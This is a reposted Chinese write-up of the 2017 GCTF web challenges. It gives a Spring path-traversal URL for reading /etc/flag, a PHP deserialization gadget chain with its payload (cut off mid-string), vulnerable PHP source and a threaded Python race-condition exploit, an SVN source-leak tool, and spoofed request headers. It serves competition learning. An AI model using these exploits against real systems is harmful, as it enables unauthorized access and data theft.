2017首届全球华人网络安全技能大赛-web-writeup

转载

dengzhasong7076 于 2017-06-12 20:58:00 发布 449 收藏
文章标签： php python 数据库
原文链接：http://www.cnblogs.com/iamstudy/articles/GCTF_2017_web_writeup.html

springcss

https://github.com/ilmila/springcss-cve-2014-3625

可以这样获取到flag：http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

php序列化

http://wooyun.jozxing.cc/static/drops/tips-3909.html

存储$_SESSION用php_serialize处理器，读取数据用php处理器
通过注入 | 字符伪造了对象的序列化数据

```php
<?php
$FLAG = "flag{aaaaaaaa}";
class TOPA {
    public $token;
    public $ticket;
    public $username;
    public $password;
    function __toString() {
        if ($this->username == 'aaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbb') {
            return 'key is:{' . $this->token . '}' . "\n";
        }
    }
}
class TOPB {
    public $obj;
    public $attr;
    function __construct() {
        $this->attr = null;
        $this->obj = null;
    }
    function __toString() {
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if ($this->obj->token === $this->obj->ticket) {
            return (string) $this->obj;
        }
    }
}
class TOPC {
    public $obj;
    public $attr;
    function __wakeup() {
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct() {
        echo $this->attr;
    }
}
```

利用链：C的__destruct在echo的时候，可以调用B的__toString，再通过(string)来调用A类的__toString
这里面牵涉到两个问题，第一个是C中的wakeup，这个可以通过修改属性名的个数绕过，第二个就是`$this->obj->token === $this->obj->ticket`
这个可以通过`&`指向同一变量

```php
<?php
$b = new TOPA;
$b->token = Null;
$b->ticket = &$b->token;
$b->username = 'aaaaaaaaaaaaaaaa';
$b->password = 'bbbbbbbbbbbbbbbbb';
echo serialize($b) . "\n\n";

$a = new TOPB;
$a->attr = 'O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaa";s:8:"passw
$a->obj = '';
// echo serialize($a) . "\n\n";

$c = new TOPC;
$c->attr = $a;
echo serialize($c) . "\n\n";

-------------------------------
最后的payload:
O:4:"TOPC":4:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";s:0:"";s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"to

学到一个新的标识，R
```

条件竞争

```php
<?php
header("Content-type: text/html; charset=utf-8");
session_start();

$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
    die("数据库连接错误，多次出现请联系管理员。");
}

//打印源码
if(isset($_REQUEST['showcode'])){
    highlight_file(___FILE___);
    exit();

}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判断用户权限时会查询priv表，如果为不为TRUE则是管理员权限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}
$mysqli->close();
?>
```

python：

```
#coding=utf8
import requests
from bs4 import BeautifulSoup
import threading

user = ''
def exp():
  global user
  while True:
    s = requests.session()
    r = s.get('http://218.2.197.242:18009/')
    soup = BeautifulSoup(r.content, 'html.parser')
    user = soup.find(id="name")['value']
    print user

    data = {
      'password' : 'helloworld'
    }
    r1 = s.post('http://218.2.197.242:18009/index.php?method=reset',data=data)


def login():
  global user
  while True:
    data = {
      'name' : user,
      'password' : 'helloworld'
    }
    r2 = requests.post('http://218.2.197.242:18009/login.php?method=login',data=data)
    print user,r2.content

def main():
  global user
  threadpool=[]

  for n in xrange(30):
      th = threading.Thread(target=login)
      th.setDaemon(True)
      threadpool.append(th)
  for n in xrange(3):
      th = threading.Thread(target=exp)
      th.setDaemon(True)
      threadpool.append(th)
  for th in threadpool:
      th.start()
  for th in threadpool :
      threading.Thread.join(th)

if __name__ == '__main__':
  main()
```

web综合

http://218.2.197.232:18007/
有svn，但是只能通过wc.db来得到hash，然后get到源码
工具：https://github.com/anantshri/svn-extractor

Forbidden

```
GET / HTTP/1.1
Host: www.topsec.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98;.NET CLR 8)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate, sdch
Accept-Language: de-DE
Cookie: login=4e7a51334d6a63314e6a553d; PHPSESSID=h2cbas2n7mbli0hkll55sc84o7; 186221D9=1; 6EE211F6=1;
X-Forwarded-For: localhost
x-requested-with: XMLHttpRequest
Connection: close
```

转载于:https://www.cnblogs.com/iamstudy/articles/GCTF_2017_web_writeup.html